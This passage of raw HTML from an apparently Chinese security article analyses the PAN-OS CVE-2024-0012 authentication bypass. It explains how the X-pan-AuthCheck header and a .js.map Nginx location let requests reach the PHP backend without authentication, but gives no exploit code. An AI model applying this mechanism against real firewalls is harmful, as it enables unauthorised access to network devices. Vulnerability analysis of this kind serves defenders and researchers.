YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">php</span></code><span leaf="">进程进行解析：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.96px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">&lt;FilesMatch \.(php|phar)$&gt;</span><span leaf=""><br/></span><span leaf="">  SetHandler &#34;proxy:unix:/run/php-fpm/www.sock|fcgi://localhost&#34;</span><span leaf=""><br/></span><span leaf="">&lt;/FilesMatch&gt;</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">可见</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">PAN-OS</span></code><span leaf="">中的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Web</span></code><span leaf="">服务转发比较复杂，如果配置不当，很容易出现意想不到的漏洞：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008118" data-ratio="0.12195121951219512" data-type="png" data-w="943" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=76a66fd7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAweahwSPNYmvU5bL3LvHoCSEvCtT7F63aZVpJ0pXVtmpNhnq0zjicz54DUvgcTJE1OWuqg419phVibg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 20.8px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">漏洞分析</span></h2><h3 data-heading="true" style="box-sizing: border-box;border-width: 1px 1px 1px 4px;border-style: solid;border-color: color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) rgb(15, 76, 129);font-size: 19.2px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 2.4em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 12px;color: rgb(63, 63, 63);border-radius: 6px;background: color-mix(in srgb, rgb(15, 76, 129) 8%, transparent);"><span leaf="">CVE-2024-0012</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在分析这种配置复杂的程序时，可以首先从配置文件入手。查看</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Nginx</span></code><span leaf="">配置，在</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">proxy_default.conf</span></code><span leaf="">中设置了一个名为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">X-pan-AuthCheck</span></code><span leaf="">的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">header</span></code><span leaf="">，从命名来看和认证有关：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008120" data-ratio="0.3697813121272366" data-type="png" data-w="1006" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=5f4e1dad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAweahwSPNYmvU5bL3LvHoCSfP3gH45U7aOTFfJJ4cnWNj4CgVl2ib13njgbtqzSu5gicicic8Dxg87Xzg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">php</span></code><span leaf="">文件中搜索找到</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">uiEnvSetup.php</span></code><span leaf="">中存在如下代码，猜测当</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">X-pan-AuthCheck</span></code><span leaf="">头取值为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">off</span></code><span leaf="">时可能无需认证：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008116" data-ratio="0.6209016393442623" data-type="png" data-w="976" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=cb76f09a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAweahwSPNYmvU5bL3LvHoCSJwvcAicdds1ewO5M3ChyJpKNVRKaIaibHd14F0kQPETLH6G3w4wayCTw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">继续搜索</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">$panAuthCheck</span></code><span leaf="">等于</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">off</span></code><span leaf="">的点，发现在</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">locations.conf</span></code><span leaf="">开头就将其设置为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">on</span></code><span leaf="">，在后面的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">location</span></code><span leaf="">定义中部分重新定义为了</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">off</span></code><span leaf="">。同时注意到在初始化</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">$panAuthCheck</span></code><span leaf="">为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">on</span></code><span leaf="">之前定义了一个以</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">.js.map</span></code><span leaf="">结尾的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">location</span></code><span leaf="">，其将对应请求直接转发到</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">$gohost$gohostExt</span></code><span leaf="">（对应后台的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">php</span></code><span leaf="">进程）：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008119" data-ratio="0.4924318869828456" data-type="png" data-w="991" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=cebb11b6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAweahwSPNYmvU5bL3LvHoCSwWgTT1pbO14ialWzlFJkakI5rO8SesXlic9VYxsg3e0e0Jbdzsm5icP1Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008117" data-ratio="0.6656862745098039" data-type="png" data-w="1020" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=990819b5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAweahwSPNYmvU5bL3LvHoCSxJz7WssO1zfXOK2D6p8ATMOgoNdMpsHxoyKibsI6QaEu67xNR4J9tmg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008124" data-ratio="0.18514851485148515" data-type="png" data-w="1010" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=e19de543&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAweahwSPNYmvU5bL3LvHoCS2rENK0cGAiaFK5rCsdmePRzrZVsVicLo4Sk8SfUia2w9XeUKjkRt6AxYQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: 